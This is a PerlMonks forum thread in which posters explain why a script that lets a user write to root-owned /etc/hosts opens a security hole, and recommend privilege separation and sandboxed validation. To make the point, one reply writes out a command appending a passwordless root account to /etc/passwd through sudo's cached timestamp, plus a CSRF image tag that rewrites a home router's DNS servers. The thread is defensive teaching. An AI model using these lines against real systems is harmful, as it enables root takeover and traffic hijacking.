in reply to Re^7: Best way to write to a file owned by root?
in thread Best way to write to a file owned by root?

If someone has hacked my machine with my user account, it seems like they are in a very good position of changing my /etc/hosts file without my script to help them. Right?

No. This is why we have different user accounts. Your user does not have write access to /etc/hosts and therefore anyone who compromises your account also lack the write access to that file. If you bypass that by some means in your script (sudo, setuid, whatever) then the attacker suddenly does have access to write to the previously protected file via your script.

So don't do that.

Replies are listed 'Best First'.
Re^9: Best way to write to a file owned by root?
by nysus (Parson) on Mar 15, 2017 at 15:23 UTC

    Well, I do have write access to /etc/hosts in that I can just run sudo vim /etc/hosts and change it that way. Now, if a hacker types in that command, sudo will prompt them for my password. I'd assume the hacker already has the password if he hacked in. But maybe I'm wrong in assuming that the hacker would have my password? Is it theoretically possible for a hacker to gain control of my user account without my password?

    $PM = "Perl Monk's";
    $MCF = "Most Clueless Friar Abbot Bishop Pontiff Deacon Curate";
    $nysus = $PM . ' ' . $MCF;
    Click here if you love Perl Monks

      I'd assume the hacker already has the password if he hacked in.

      No.

      Is it theoretically possible for a hacker to gain control of my user account without my password?

      Yes. It's also practical. Surf the web, using a lazily written plugin or an old browser. A hijacked ad server exploits your browser or the plugin and can suddenly execute arbitary code with your privileges.

      Regarding sudo: sudo allows to run several commands from the same terminal within a short time, and prompts for the password only once:

      /tmp>sudo echo hi Password: hi /tmp>sudo echo look mom no password look mom no password /tmp>

      Yes, you can change that setting, it's hidden somewhere in the documentation.

      And you can get rid of the saved permission (it's just a timestamp):

      /tmp>sudo -k /tmp>sudo echo timestamp invalidated Password: timestamp invalidated /tmp>sudo -K /tmp>sudo echo timestamp removed Password: timestamp removed /tmp>

      Now, imagine this scenario:

      /tmp>sudo vim /etc/hosts # .... :wq /tmp>ancient-browser http://malicious.example.com/exploit-me/ & [1] 25125 /tmp> # exploited ancient-browser now effectively runs sudo sh -c 'echo "too +r::0:0:let me in:/:/bin/sh" >> /etc/passwd'

      sudo won't ask for a password here, and the attacker does not have to know your password.

      Using perl -e instead of an imaginary ancient-browser to demo:

      /tmp>sudo -k /tmp>sudo echo ask me for password Password: ask me for password /tmp>perl -E 'system "sudo echo look no password";' look no password /tmp>

      And yes, that's only one possible scenario of many similar ones.

      Imagine you install a few new modules from CPAN. You compile as user, not as root. But you have configured the cpan utility to run sudo make install to actually install the modules. Now think what happens after the first module has been installed via sudo, and Makefile.pl of the next module contains malicious code invoked via sudo. Right, it will be executed as root without prompting for your password.

      Another way:

      Many cheap DSL routers have bugs. And they have a web interface. Some don't even have a working logout. Most people run those cheap boxes with factory defaults, which often means the web interface is at http://192.168.1.1/. Now imagine a web page containing <img src="http://192.168.1.1/cgi-bin/setdns.cgi?dns1=1.2.3.4&dns2=1.2.3.5&dns3=1.2.3.6">. Would you see a 1x1 pixel broken image in a web page? No. But your browser will happily replace the DNS servers in the junk DSL router. That attack works surprisingly often, and after that, the attacker can redirect your browser everywhere, by sending wrong DNS responses.

      Knowing where your /etc/hosts updating CGI is located, this attack could probably also work there. A trivial counter-measure is to require POST requests for actual changes, that can't be done with a simple <img src="...">. But there are workarounds for that, too.

      Alexander

      --
      Today I will gladly share my knowledge and experience, for there are no sweeter words than "I told you so". ;-)

        Thanks for taking the time to explain this in such detail. So basically you are saying get rid of my little hack script because it adds a vulnerability. OK, I'll buy that. And you suggested earlier using a daemon to validate requests to make changes to root files instead. Now, I obviously don't have the talent (nor the year it would probably take me to learn how) to write something like that. Is there some tool or module already out like that that would allow me safely automate updates to my /etc/hosts file? Or do you recommend I just update it manually as I'm doing now with sudo vim?

        I do want to learn to do this properly because eventually I'd like to be able to run scripts that update things like apache config files (owned by root) on a live server. I'd like to figure out what it takes to do this kind of thing without introducing security holes.

        Thanks again.

        $PM = "Perl Monk's";
        $MCF = "Most Clueless Friar Abbot Bishop Pontiff Deacon Curate";
        $nysus = $PM . ' ' . $MCF;
        Click here if you love Perl Monks

      Would you care to find out the hard and painful way?
        Would you care to find out the hard and painful way?

        That's exactly the point. "It's my machine, only I use it, so I can take some evil shortcuts" works, up to a point. We don't need a very clever hacker if you run a local webserver with a /etc/hosts rewriting CGI and make that accidentally available to the internet, e.g. by misconfiguring the DSL router to forward port 80 to the wrong machine, or simply by connecting it to a network that actually uses non-private IP addresses (quite common in universities) and at the same time not limiting the webserver to localhost. Such accidents happen. Or worse, pass your "/etc/hosts hack" to someone else who does not understand why access to the CGI must be limited.

        Now, imagine one little error that allows overwriting /etc/passwd instead of /etc/hosts. It's like connecting an unpatched Win95 machine to the internet.

        Yes, you could do a lot of work to prevent that, in a setuid program. But then again, one typo may open a hole. Perhaps even without any warnings or errors. Experience shows that programs grow, and complex programs tend to have very unexpected errors. Which gets quite worse quite fast if the program runs setuid or setgid. sendmail and bind are examples of complex, hard to maintain programs that have a huge trail of security problems.

        Privilege separation prevents programs from doing bad things. Not perfectly, but better than running everything in one program. Giving out only the required privileges ("principle of the least privilege", see the OpenBSD PDF link elsewhere in this thread) prevents gaining privileges, like a parser running amok suddenly overwrites /etc/passwd just because it was fed invalid data. And finally, combining lots of small tools for a big job is one of the strengths of Unix. Small tools tend to have a manageable amount of source code. That allows to peer review, test and verify the tool up to the point where you can be very sure that the code does not have bugs.

        Yes, it might look like overkill for editing /etc/hosts. Nevertheless, it's not that hard to do it right instead of doing it quick and dirty. Unix makes it quite easy, because you can easily drop privileges.

        I've already linked to postfix, let me also recommend reading the documentation of the Unix tools made by djb (qmail, djbdns, daemontools, and ucspi-tcp) Yes, the documentation is terse, you won't find a word that is not absolutely necessary, and you should read it more than once to fully understand it. The code looks like a mess, but again, it's terse, every single character has its purpose. And apart from djb insisting on errno being defined as extern int errno (which is only one of many possible implementations), it is in fact very clean. All of the tools make great use of the core features of Unix to build secure, networked software.

        A very cheap trick for the validator in the privileged service from Re^4: Best way to write to a file owned by root? is to run the validation of the new file as unprivileged user. Because the service runs as root, it's easy: fork(), and in the child process, open the file to be validated as file descriptor 0 (STDIN), close all other handles, set euid, fuid, uid, egid, fgid, gid to nobody/nogroup, perhaps chroot() and chdir() to an empty, unwriteable directory, then exec() the validating code. The privileged worker process waits with a timeout for the validator to return either successful (exit code 0) or not successful (any other exit code). If the timeout (alarm, sigaction) occurs, kill the validator and treat the validation as failed. If any evil input makes the validation code run amok, it runs in an empty chroot as nobody, so it can do almost no harm. If the validator hangs, the timeout will kill it soon. No halting problem to be solved. Error handling in the validator code is also very easy. If anything looks fishy or can't be parsed, just die, ASAP. The OS will clean up after your process.

        Alexander

        --
        Today I will gladly share my knowledge and experience, for there are no sweeter words than "I told you so". ;-)